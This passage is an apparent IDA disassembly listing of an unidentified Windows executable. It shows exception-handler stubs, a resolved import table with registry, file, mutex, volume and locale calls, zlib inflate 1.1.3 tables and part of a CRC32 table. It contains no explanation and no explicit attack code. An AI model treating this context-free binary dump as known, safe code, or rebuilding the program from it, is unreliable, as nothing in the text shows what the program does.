ecx, [ebp-27F8h] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27FCh] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-2800h] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-2808h] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-1F9Ch] call sub_409BB0 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-34h] call sub_409990 retn ; --------------------------------------------------------------------------- mov ecx, [ebp-2814h] call sub_4041A5 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-27B0h] call sub_406293 retn ; =============== S U B R O U T I N E ======================================= SEH_40831F proc near ; DATA XREF: sub_40831F+5o mov eax, offset dword_415BA0 jmp sub_41156C SEH_40831F endp ; --------------------------------------------------------------------------- lea ecx, [ebp-4014h] call sub_411512 retn ; --------------------------------------------------------------------------- loc_4126BF: ; DATA XREF: HSho:00415CBCo lea ecx, [ebp-8024h] call sub_411512 retn ; --------------------------------------------------------------------------- lea ecx, [ebp-8028h] call sub_411512 retn ; --------------------------------------------------------------------------- loc_4126D7: ; DATA XREF: HSho:00415CCCo lea ecx, [ebp-802Ch] call sub_411512 retn ; --------------------------------------------------------------------------- loc_4126E3: ; DATA XREF: HSho:00415CD4o lea ecx, [ebp-8030h] call sub_411512 retn ; --------------------------------------------------------------------------- loc_4126EF: ; DATA XREF: HSho:00415CDCo lea ecx, [ebp-8034h] call sub_411512 retn ; --------------------------------------------------------------------------- loc_4126FB: ; DATA XREF: HSho:00415CE4o lea ecx, [ebp-8038h] call sub_411512 retn ; --------------------------------------------------------------------------- loc_412707: ; DATA XREF: HSho:00415CECo lea ecx, [ebp-803Ch] call sub_411512 retn ; =============== S U B R O U T I N E ======================================= SEH_408D9F proc near ; DATA XREF: sub_408D9F+5o mov eax, offset dword_415C90 jmp sub_41156C SEH_408D9F endp ; =============== S U B R O U T I N E ======================================= SEH_4091F5 proc near ; DATA XREF: sub_4091F5+5o mov eax, offset dword_415CF0 jmp sub_41156C SEH_4091F5 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-14h] push eax call sub_4114EE pop ecx retn ; =============== S U B R O U T I N E ======================================= SEH_409670 proc near ; DATA XREF: sub_409670+5o mov eax, offset dword_415D48 jmp sub_41156C SEH_409670 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-1Ch] call sub_409990 retn ; =============== S U B R O U T I N E ======================================= SEH_4097F0 proc near ; DATA XREF: sub_4097F0+5o mov eax, offset dword_415D70 jmp sub_41156C SEH_4097F0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+8] call sub_4041A5 retn ; =============== S U B R O U T I N E ======================================= SEH_409AF0 proc near ; DATA XREF: sub_409AF0+5o mov eax, offset dword_415D98 jmp sub_41156C SEH_409AF0 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-1Ch] push eax call sub_4114EE pop ecx retn ; =============== S U B R O U T I N E ======================================= SEH_410FDB proc near ; DATA XREF: sub_410FDB+5o mov eax, offset dword_415DC0 jmp sub_41156C SEH_410FDB endp ; --------------------------------------------------------------------------- align 4 dd 216h dup(0) dword_413000 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_4064D9+8Er ... dword_413004 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_406909+45r ... dword_413008 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExA ; sub_406AB3+74r ... dword_41300C dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_406AB3+36r ... dword_413010 dd 77DD7883h ; resolved to->ADVAPI32.RegQueryValueExA ; sub_406909+79r ... align 8 dword_413018 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; HSho:00401665r ... dword_41301C dd 7C80180Eh ; resolved to->KERNEL32.ReadFile ; sub_40146A+12Ar ... dword_413020 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; HSho:004017F5r ... dword_413024 dd 7C810A77h ; resolved to->KERNEL32.GetFileSizedword_413028 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Error ; sub_40146A+99r ... dword_41302C dd 7C834FFEh ; resolved to->KERNEL32.GetCurrentDirectoryA ; HSho:0040212Br ... dword_413030 dd 7C8217ACh ; resolved to->KERNEL32.CreateDirectoryA ; sub_4106AB+FDr dword_413034 dd 7C85B219h ; resolved to->KERNEL32.RemoveDirectoryAdword_413038 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesAdword_41303C dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesAdword_413040 dd 7C80B974h ; resolved to->KERNEL32.UnmapViewOfFiledword_413044 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileAdword_413048 dd 7C8360DDh ; resolved to->KERNEL32.SetCurrentDirectoryA ; sub_404A2D+18r dword_41304C dd 7C80FC2Fh ; resolved to->KERNEL32.GlobalFree ; sub_4027A4+36r ... dword_413050 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_4107B2+445r dword_413054 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrary ; sub_406208+6Cr dword_413058 dd 7C8123B9h ; resolved to->KERNEL32.GlobalReAllocdword_41305C dd 7C80FD2Dh ; resolved to->KERNEL32.GlobalAllocdword_413060 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_4027A4+82r ... dword_413064 dd 7C80A0D4h ; resolved to->KERNEL32.WideCharToMultiBytedword_413068 dd 7C809BF8h ; resolved to->KERNEL32.MultiByteToWideChardword_41306C dd 7C80B905h ; resolved to->KERNEL32.MapViewOfFiledword_413070 dd 7C80945Ch ; resolved to->KERNEL32.CreateFileMappingAdword_413074 dd 7C834D41h ; resolved to->KERNEL32.lstrcatA ; sub_402C48+28r ... dword_413078 dd 7C910340h ; resolved to->NTDLL.RtlSetLastWin32Error ; sub_401C92+71r ... dword_41307C dd 7C80EDD7h ; resolved to->KERNEL32.FindClose ; sub_4021DB+98r ... dword_413080 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileAdword_413084 dd 7C801EEEh ; resolved to->KERNEL32.GetStartupInfoAdword_413088 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_41308C dd 7C831CB8h ; resolved to->KERNEL32.SetFileTimedword_413090 dd 7C83214Eh ; resolved to->KERNEL32.DosDateTimeToFileTimedword_413094 dd 7C810B1Ch ; resolved to->KERNEL32.SystemTimeToFileTimedword_413098 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_40E2F9+6Dr dword_41309C dd 7C80DDFEh ; resolved to->KERNEL32.DuplicateHandledword_4130A0 dd 7C810E51h ; resolved to->KERNEL32.GetFileType ; sub_40FE9E+59r ... dword_4130A4 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointer ; sub_40E4EF+27r ... dword_4130A8 dd 7C80992Fh ; resolved to->KERNEL32.LocalFreedword_4130AC dd 7C809766h ; resolved to->KERNEL32.InterlockedIncrementdword_4130B0 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_4130B4 dd 7C821BA5h ; resolved to->KERNEL32.GetVolumeInformationAdword_4130B8 dd 7C80BF3Dh ; resolved to->KERNEL32.GetSystemDefaultLCIDdword_4130BC dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenA ; sub_404B40+491r ... dword_4130C0 dd 7C80D262h ; resolved to->KERNEL32.GetLocaleInfoAdword_4130C4 dd 7C80977Ah ; resolved to->KERNEL32.InterlockedDecrementdword_4130C8 dd 7C810111h ; resolved to->KERNEL32.lstrcpynA ; sub_40831F+5F5r dword_4130CC dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_402F1E+Cr ... dword_4130D0 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObjectdword_4130D4 dd 7C821363h ; resolved to->KERNEL32.GetWindowsDirectoryA ; sub_404B40+DEr dword_4130D8 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_4130DC dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_406208+1Ar dword_4130E0 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_402A1E+BCr ... align 8 dword_4130E8 dd 73E267E1h dword_4130EC dd 73E266E6h dword_4130F0 dd 73E263DEh dword_4130F4 dd 73DD6672h dword_4130F8 dd 73E2D6BFh dword_4130FC dd 73DD493Dh dword_413100 dd 73DD27B2h dword_413104 dd 73DD418Ch dword_413108 dd 73DD2831h dword_41310C dd 73E2654Dh dword_413110 dd 73E26465h dword_413114 dd 73DEBD63h dword_413118 dd 73DD47A8h dword_41311C dd 73DD265Ch dword_413120 dd 73DD496Bh dword_413124 dd 73DD2709h dword_413128 dd 73DD41F5h dword_41312C dd 73DD4391h dword_413130 dd 73E2C2B3h dword_413134 dd 73DD433Ah dword_413138 dd 73DD4123h align 10h dword_413140 dd 321F3Eh ; HSho:00401419r dword_413144 dd 324A51h ; HSho:004013CEr dword_413148 dd 321888h ; HSho:004013E0r dword_41314C dd 325384h ; HSho:00401426r dword_413150 dd 321E51h ; HSho:00411A87r dword_413154 dd 323B9Ah dword_413158 dd 321204h dword_41315C dd 3238E0h dword_413160 dd 321891h align 8 dword_413168 dd 7608F485h ; HSho:0040786Cr ... dword_41316C dd 7608F470h ; HSho:004076D0r ... dword_413170 dd 7609F0F5h ; HSho:00407842r ... dword_413174 dd 76085B0Ch ; HSho:00407D8Er dword_413178 dd 760AC190h ; HSho:0040782Br ... dword_41317C dd 760A06A9h ; HSho:00407818r ... dword_413180 dd 7609F015h ; sub_407913+12Cr ... dword_413184 dd 76081F8Bh dword_413188 dd 7608B84Ch ; sub_407913+58r ... dword_41318C dd 76085828h dword_413190 dd 76090F65h dword_413194 dd 76097647h ; HSho:004076F6r ... dd 0 dword_41319C dd 77C47A90h ; resolved to->MSVCRT.strncpy ; HSho:00410FC2r dword_4131A0 dd 77C1BE7Bh ; resolved to->MSVCRT.atoldword_4131A4 dd 77C4AEA3h ; resolved to->MSVCRT.time ; sub_40543F+AAr ... dword_4131A8 dd 77C1BF18h ; resolved to->MSVCRT.atoi ; sub_405E1F+2EAr dword_4131AC dd 77C464BFh ; resolved to->MSVCRT._strnicmp ; sub_405B91+1EDr ... dword_4131B0 dd 77C46125h ; resolved to->MSVCRT._strdupdword_4131B4 dd 77C32D22h ; resolved to->MSVCRT._mbsuprdword_4131B8 dd 77C46040h ; resolved to->MSVCRT.strcatdword_4131BC dd 77C22738h ; resolved to->MSVCRT._EH_prologdword_4131C0 dd 77C46F70h ; resolved to->MSVCRT.memcpydword_4131C4 dd 77C3F010h ; resolved to->MSVCRT.fopendword_4131C8 dd 77C2C407h ; resolved to->MSVCRT.malloc ; sub_40831F+8B6r ... dword_4131CC dd 77C47C60h ; resolved to->MSVCRT.strstrdword_4131D0 dd 77C40AB1h ; resolved to->MSVCRT.fclosedword_4131D4 dd 77C2C21Bh ; resolved to->MSVCRT.free ; sub_403287+110r ... dword_4131D8 dd 77C41574h ; resolved to->MSVCRT.ftell ; sub_4024B5+2Er dword_4131DC dd 77C227FAh ; resolved to->MSVCRT.__CxxFrameHandlerdword_4131E0 dd 77C226F6h ; resolved to->MSVCRT._CxxThrowExceptiondword_4131E4 dd 77C3F931h ; resolved to->MSVCRT.sprintf ; sub_402F1E+52r ... dword_4131E8 dd 77C47FCCh ; resolved to->MSVCRT.wcslendword_4131EC dd 77C31881h ; resolved to->MSVCRT._mbscmp ; sub_40592B+D7r ... dword_4131F0 dd 77C4139Ch ; resolved to->MSVCRT.fseek ; sub_4024B5+44r dword_4131F4 dd 77C1CAD7h ; resolved to->MSVCRT.toupper ; sub_40239F+6Dr ... dword_4131F8 dd 77C478A0h ; resolved to->MSVCRT.strlendword_4131FC dd 77C46030h ; resolved to->MSVCRT.strcpydword_413200 dd 77C31FBDh ; resolved to->MSVCRT._mbsnbcpydword_413204 dd 77C475F0h ; resolved to->MSVCRT.memsetdword_413208 dd 77C2C0C3h ; resolved to->MSVCRT.callocdword_41320C dd 77C47730h ; resolved to->MSVCRT.strcmpdword_413210 dd 77C4AA2Dh ; resolved to->MSVCRT.gmtimedword_413214 dd 77C32BB0h ; resolved to->MSVCRT._mbsstrdword_413218 dd 77C21868h dword_41321C dd 77C34E51h ; resolved to->MSVCRT.__dllonexitdword_413220 dd 77C34DF8h ; resolved to->MSVCRT._onexitdword_413224 dd 77C39E9Ah ; resolved to->MSVCRT._exitdword_413228 dd 77C32DAEh ; resolved to->MSVCRT._XcptFilterdword_41322C dd 77C39E7Eh ; resolved to->MSVCRT.exitdword_413230 dd 77C1EEEBh ; resolved to->MSVCRT.__getmainargsdword_413234 dd 77C617ACh ; resolved to->MSVCRT._acmdlndword_413238 dd 77C39D67h ; resolved to->MSVCRT._inittermdword_41323C dd 77C4D675h ; resolved to->MSVCRT.__setusermatherrdword_413240 dd 77C623D8h ; resolved to->MSVCRT._adjust_fdivdword_413244 dd 77C1F1A4h ; resolved to->MSVCRT.__p__commodedword_413248 dd 77C1F1DBh ; resolved to->MSVCRT.__p__fmodedword_41324C dd 77C3537Ch ; resolved to->MSVCRT.__set_app_typedword_413250 dd 77C35C94h ; resolved to->MSVCRT._except_handler3dword_413254 dd 77C411FBh ; resolved to->MSVCRT.freaddword_413258 dd 77C4EE2Fh ; resolved to->MSVCRT._controlfp align 10h dword_413260 dd 77126BFFh dword_413264 dd 77124920h ; sub_409990+Br ... dword_413268 dd 77124980h dword_41326C dd 77124CFAh dword_413270 dd 77124C98h dword_413274 dd 77124880h ; sub_40831F+696r ... dword_413278 dd 77124C7Eh ; sub_4097A0+17r dword_41327C dd 7712A63Fh dword_413280 dd 77124C05h align 8 dword_413288 dd 7CA70964h ; resolved to->SHELL32.SHFileOperationA ; sub_401C92+BBr ... align 10h dword_413290 dd 7E41C66Eh ; resolved to->USER32.CopyRectdword_413294 dd 7E41C4A9h ; resolved to->USER32.EqualRectdword_413298 dd 7E418D2Bh ; resolved to->USER32.CharUpperAdword_41329C dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; sub_404B40+12Br ... dd 0 dword_4132A4 dd 774FEE36h dword_4132A8 dd 775561BAh dword_4132AC dd 774FFAC3h ; sub_409C00+93r dword_4132B0 dd 77502A37h ; sub_4091F5+E5r align 8 byte_4132B8 db 90h ; DATA XREF: sub_40831F+6F9o db 0BFh, 33h, 29h dd 11D27B36h, 0C0000EB2h, 603E984Fh off_4132C8 dd offset sub_4019B0 ; DATA XREF: sub_401000+14o ; sub_401021+Ao off_4132CC dd offset sub_4029F0 ; DATA XREF: sub_4026B0+Ao ; sub_4026C7+Ao ... off_4132D0 dd offset aNeedDictiona_0 ; DATA XREF: HSho:0040D99Cr ; "need dictionary" dd offset aStreamEnd ; "stream end" dd offset dword_41BCD8 dd offset aFileError ; "file error" dd offset aStreamError ; "stream error" dd offset aDataError ; "data error" dd offset aInsufficientMe ; "insufficient memory" dd offset aBufferError ; "buffer error" dd offset aIncompatibleVe ; "incompatible version" dd offset dword_41BCDC dword_4132F8 dd 0 ; sub_40A04E+464r ... dd 1, 3, 7, 0Fh, 1Fh, 3Fh, 7Fh, 0FFh, 1FFh, 3FFh, 7FFh dd 0FFFh, 1FFFh, 3FFFh, 7FFFh, 0FFFFh, 0 dword_413340 dd 760h, 100h, 800h, 50h, 800h, 10h, 854h, 73h, 752h, 1Fh ; DATA XREF: sub_40CE2B+18o dd 800h, 70h, 800h, 30h, 900h, 0C0h, 750h, 0Ah, 800h, 60h dd 800h, 20h, 900h, 0A0h, 800h, 0 dd 800h, 80h, 800h, 40h, 900h, 0E0h, 750h, 6, 800h, 58h dd 800h, 18h, 900h, 90h, 753h, 3Bh, 800h, 78h, 800h, 38h dd 900h, 0D0h, 751h, 11h, 800h, 68h, 800h, 28h, 900h, 0B0h dd 800h, 8, 800h, 88h, 800h, 48h, 900h, 0F0h, 750h, 4 dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh, 800h, 74h dd 800h, 34h, 900h, 0C8h, 751h, 0Dh, 800h, 64h, 800h, 24h dd 900h, 0A8h, 800h, 4, 800h, 84h, 800h, 44h, 900h, 0E8h dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h, 98h, 754h, 53h dd 800h, 7Ch, 800h, 3Ch, 900h, 0D8h, 752h, 17h, 800h, 6Ch dd 800h, 2Ch, 900h, 0B8h, 800h, 0Ch, 800h, 8Ch, 800h, 4Ch dd 900h, 0F8h, 750h, 3, 800h, 52h, 800h, 12h, 855h, 0A3h dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C4h, 751h, 0Bh dd 800h, 62h, 800h, 22h, 900h, 0A4h, 800h, 2, 800h, 82h dd 800h, 42h, 900h, 0E4h, 750h, 7, 800h, 5Ah, 800h, 1Ah dd 900h, 94h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D4h dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B4h, 800h, 0Ah dd 800h, 8Ah, 800h, 4Ah, 900h, 0F4h, 750h, 5, 800h, 56h dd 800h, 16h, 8C0h, 0 dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CCh, 751h, 0Fh dd 800h, 66h, 800h, 26h, 900h, 0ACh, 800h, 6, 800h, 86h dd 800h, 46h, 900h, 0ECh, 750h, 9, 800h, 5Eh, 800h, 1Eh dd 900h, 9Ch, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DCh dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BCh, 800h, 0Eh dd 800h, 8Eh, 800h, 4Eh, 900h, 0FCh, 760h, 100h, 800h dd 51h, 800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h dd 31h, 900h, 0C2h, 750h, 0Ah, 800h, 61h, 800h, 21h, 900h dd 0A2h, 800h, 1, 800h, 81h, 800h, 41h, 900h, 0E2h, 750h dd 6, 800h, 59h, 800h, 19h, 900h, 92h, 753h, 3Bh, 800h dd 79h, 800h, 39h, 900h, 0D2h, 751h, 11h, 800h, 69h, 800h dd 29h, 900h, 0B2h, 800h, 9, 800h, 89h, 800h, 49h, 900h dd 0F2h, 750h, 4, 800h, 55h, 800h, 15h, 850h, 102h, 753h dd 2Bh, 800h, 75h, 800h, 35h, 900h, 0CAh, 751h, 0Dh, 800h dd 65h, 800h, 25h, 900h, 0AAh, 800h, 5, 800h, 85h, 800h dd 45h, 900h, 0EAh, 750h, 8, 800h, 5Dh, 800h, 1Dh, 900h dd 9Ah, 754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DAh, 752h dd 17h, 800h, 6Dh, 800h, 2Dh, 900h, 0BAh, 800h, 0Dh, 800h dd 8Dh, 800h, 4Dh, 900h, 0FAh, 750h, 3, 800h, 53h, 800h dd 13h, 855h, 0C3h, 753h, 23h, 800h, 73h, 800h, 33h, 900h dd 0C6h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h, 0A6h, 800h dd 3, 800h, 83h, 800h, 43h, 900h, 0E6h, 750h, 7, 800h dd 5Bh, 800h, 1Bh, 900h, 96h, 754h, 43h, 800h, 7Bh, 800h dd 3Bh, 900h, 0D6h, 752h, 13h, 800h, 6Bh, 800h, 2Bh, 900h dd 0B6h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h, 0F6h, 750h dd 5, 800h, 57h, 800h, 17h, 8C0h, 0 dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CEh, 751h, 0Fh dd 800h, 67h, 800h, 27h, 900h, 0AEh, 800h, 7, 800h, 87h dd 800h, 47h, 900h, 0EEh, 750h, 9, 800h, 5Fh, 800h, 1Fh dd 900h, 9Eh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DEh dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BEh, 800h, 0Fh dd 800h, 8Fh, 800h, 4Fh, 900h, 0FEh, 760h, 100h, 800h dd 50h, 800h, 10h, 854h, 73h, 752h, 1Fh, 800h, 70h, 800h dd 30h, 900h, 0C1h, 750h, 0Ah, 800h, 60h, 800h, 20h, 900h dd 0A1h, 800h, 0 dd 800h, 80h, 800h, 40h, 900h, 0E1h, 750h, 6, 800h, 58h dd 800h, 18h, 900h, 91h, 753h, 3Bh, 800h, 78h, 800h, 38h dd 900h, 0D1h, 751h, 11h, 800h, 68h, 800h, 28h, 900h, 0B1h dd 800h, 8, 800h, 88h, 800h, 48h, 900h, 0F1h, 750h, 4 dd 800h, 54h, 800h, 14h, 855h, 0E3h, 753h, 2Bh, 800h, 74h dd 800h, 34h, 900h, 0C9h, 751h, 0Dh, 800h, 64h, 800h, 24h dd 900h, 0A9h, 800h, 4, 800h, 84h, 800h, 44h, 900h, 0E9h dd 750h, 8, 800h, 5Ch, 800h, 1Ch, 900h, 99h, 754h, 53h dd 800h, 7Ch, 800h, 3Ch, 900h, 0D9h, 752h, 17h, 800h, 6Ch dd 800h, 2Ch, 900h, 0B9h, 800h, 0Ch, 800h, 8Ch, 800h, 4Ch dd 900h, 0F9h, 750h, 3, 800h, 52h, 800h, 12h, 855h, 0A3h dd 753h, 23h, 800h, 72h, 800h, 32h, 900h, 0C5h, 751h, 0Bh dd 800h, 62h, 800h, 22h, 900h, 0A5h, 800h, 2, 800h, 82h dd 800h, 42h, 900h, 0E5h, 750h, 7, 800h, 5Ah, 800h, 1Ah dd 900h, 95h, 754h, 43h, 800h, 7Ah, 800h, 3Ah, 900h, 0D5h dd 752h, 13h, 800h, 6Ah, 800h, 2Ah, 900h, 0B5h, 800h, 0Ah dd 800h, 8Ah, 800h, 4Ah, 900h, 0F5h, 750h, 5, 800h, 56h dd 800h, 16h, 8C0h, 0 dd 753h, 33h, 800h, 76h, 800h, 36h, 900h, 0CDh, 751h, 0Fh dd 800h, 66h, 800h, 26h, 900h, 0ADh, 800h, 6, 800h, 86h dd 800h, 46h, 900h, 0EDh, 750h, 9, 800h, 5Eh, 800h, 1Eh dd 900h, 9Dh, 754h, 63h, 800h, 7Eh, 800h, 3Eh, 900h, 0DDh dd 752h, 1Bh, 800h, 6Eh, 800h, 2Eh, 900h, 0BDh, 800h, 0Eh dd 800h, 8Eh, 800h, 4Eh, 900h, 0FDh, 760h, 100h, 800h dd 51h, 800h, 11h, 855h, 83h, 752h, 1Fh, 800h, 71h, 800h dd 31h, 900h, 0C3h, 750h, 0Ah, 800h, 61h, 800h, 21h, 900h dd 0A3h, 800h, 1, 800h, 81h, 800h, 41h, 900h, 0E3h, 750h dd 6, 800h, 59h, 800h, 19h, 900h, 93h, 753h, 3Bh, 800h dd 79h, 800h, 39h, 900h, 0D3h, 751h, 11h, 800h, 69h, 800h dd 29h, 900h, 0B3h, 800h, 9, 800h, 89h, 800h, 49h, 900h dd 0F3h, 750h, 4, 800h, 55h, 800h, 15h, 850h, 102h, 753h dd 2Bh, 800h, 75h, 800h, 35h, 900h, 0CBh, 751h, 0Dh, 800h dd 65h, 800h, 25h, 900h, 0ABh, 800h, 5, 800h, 85h, 800h dd 45h, 900h, 0EBh, 750h, 8, 800h, 5Dh, 800h, 1Dh, 900h dd 9Bh, 754h, 53h, 800h, 7Dh, 800h, 3Dh, 900h, 0DBh, 752h dd 17h, 800h, 6Dh, 800h, 2Dh, 900h, 0BBh, 800h, 0Dh, 800h dd 8Dh, 800h, 4Dh, 900h, 0FBh, 750h, 3, 800h, 53h, 800h dd 13h, 855h, 0C3h, 753h, 23h, 800h, 73h, 800h, 33h, 900h dd 0C7h, 751h, 0Bh, 800h, 63h, 800h, 23h, 900h, 0A7h, 800h dd 3, 800h, 83h, 800h, 43h, 900h, 0E7h, 750h, 7, 800h dd 5Bh, 800h, 1Bh, 900h, 97h, 754h, 43h, 800h, 7Bh, 800h dd 3Bh, 900h, 0D7h, 752h, 13h, 800h, 6Bh, 800h, 2Bh, 900h dd 0B7h, 800h, 0Bh, 800h, 8Bh, 800h, 4Bh, 900h, 0F7h, 750h dd 5, 800h, 57h, 800h, 17h, 8C0h, 0 dd 753h, 33h, 800h, 77h, 800h, 37h, 900h, 0CFh, 751h, 0Fh dd 800h, 67h, 800h, 27h, 900h, 0AFh, 800h, 7, 800h, 87h dd 800h, 47h, 900h, 0EFh, 750h, 9, 800h, 5Fh, 800h, 1Fh dd 900h, 9Fh, 754h, 63h, 800h, 7Fh, 800h, 3Fh, 900h, 0DFh dd 752h, 1Bh, 800h, 6Fh, 800h, 2Fh, 900h, 0BFh, 800h, 0Fh dd 800h, 8Fh, 800h, 4Fh, 900h, 0FFh dword_414340 dd 550h, 1, 557h, 101h, 553h, 11h, 55Bh, 1001h, 551h, 5 ; DATA XREF: sub_40CE2B+21o dd 559h, 401h, 555h, 41h, 55Dh, 4001h, 550h, 3, 558h, 201h dd 554h, 21h, 55Ch, 2001h, 552h, 9, 55Ah, 801h, 556h, 81h dd 5C0h, 6001h, 550h, 2, 557h, 181h, 553h, 19h, 55Bh, 1801h dd 551h, 7, 559h, 601h, 555h, 61h, 55Dh, 6001h, 550h, 4 dd 558h, 301h, 554h, 31h, 55Ch, 3001h, 552h, 0Dh, 55Ah dd 0C01h, 556h, 0C1h, 5C0h, 6001h dword_414440 dd 10h ; sub_40AF6D+A13r dd 11h, 12h, 0 dd 8, 7, 9, 6, 0Ah, 5, 0Bh, 4, 0Ch, 3, 0Dh, 2, 0Eh, 1 dd 0Fh aInflate1_1_3Co db ' inflate 1.1.3 Copyright 1995-1998 Mark Adler ',0 align 4 dword_4144BC dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Dh, 0Fh, 11h, 13h, 17h ; DATA XREF: sub_40CCA6+50o dd 1Bh, 1Fh, 23h, 2Bh, 33h, 3Bh, 43h, 53h, 63h, 73h, 83h dd 0A3h, 0C3h, 0E3h, 102h, 2 dup(0) dword_414538 dd 8 dup(0) dd 4 dup(1), 4 dup(2), 4 dup(3), 4 dup(4), 4 dup(5), 0 dd 2 dup(70h) dword_4145B4 dd 1, 2, 3, 4, 5, 7, 9, 0Dh, 11h, 19h, 21h, 31h, 41h, 61h ; DATA XREF: sub_40CCA6+D9o dd 81h, 0C1h, 101h, 181h, 201h, 301h, 401h, 601h, 801h dd 0C01h, 1001h, 1801h, 2001h, 3001h, 4001h, 6001h dword_41462C dd 4 dup(0) dd 2 dup(1), 2 dup(2), 2 dup(3), 2 dup(4), 2 dup(5), 2 dup(6) dd 2 dup(7), 2 dup(8), 2 dup(9), 2 dup(0Ah), 2 dup(0Bh) dd 2 dup(0Ch), 2 dup(0Dh) dword_4146A4 dd 0 ; sub_40D535+3Ar ... dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 